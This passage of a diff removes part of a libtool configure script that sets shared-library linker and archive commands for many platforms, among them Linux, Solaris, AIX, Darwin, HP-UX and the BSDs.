- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs=no
- fi
- ;;
-
- interix3*)
- hardcode_direct=no
- hardcode_shlibpath_var=no
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- export_dynamic_flag_spec='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
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- ld_shlibs=no
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-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
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- ld_shlibs=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
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-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs" = no; then
- runpath_var=
- hardcode_libdir_flag_spec=
- export_dynamic_flag_spec=
- whole_archive_flag_spec=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag=unsupported
- always_export_symbols=yes
- archive_expsym_cmds='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds=''
- hardcode_direct=yes
- hardcode_libdir_separator=':'
- link_all_deplibs=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct=yes
- else
- # We have old collect2
- hardcode_direct=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L=yes
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_libdir_separator=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag="-z nodefs"
- archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag=' ${wl}-bernotok'
- allow_undefined_flag=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec='$convenience'
- archive_cmds_need_lc=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec=' '
- allow_undefined_flag=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc=no
- hardcode_direct=no
- hardcode_automatic=yes
- hardcode_shlibpath_var=unsupported
- whole_archive_flag_spec=''
- link_all_deplibs=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_shlibpath_var=no
- ;;
-
- freebsd1*)
- ld_shlibs=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes
- hardcode_minus_L=yes
- hardcode_shlibpath_var=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
- hardcode_direct=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- export_dynamic_flag_spec='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
-
- hardcode_direct=yes
- export_dynamic_flag_spec='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld='+b $libdir'
- hardcode_direct=no
- hardcode_shlibpath_var=no
- ;;
- *)
- hardcode_direct=yes
- export_dynamic_flag_spec='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- link_all_deplibs=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- newsos6)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- hardcode_shlibpath_var=no
- ;;
-
- openbsd*)
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- export_dynamic_flag_spec='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- ;;
- *)
- archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- allow_undefined_flag=unsupported
- archive_cmds='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag=' -expect_unresolved \*'
- archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
- archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec='-rpath $libdir'
- fi
- hardcode_libdir_separator=:
- ;;
-
- solaris*)
- no_undefined_flag=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_shlibpath_var=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_direct=yes
- hardcode_minus_L=yes
- hardcode_shlibpath_var=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags'
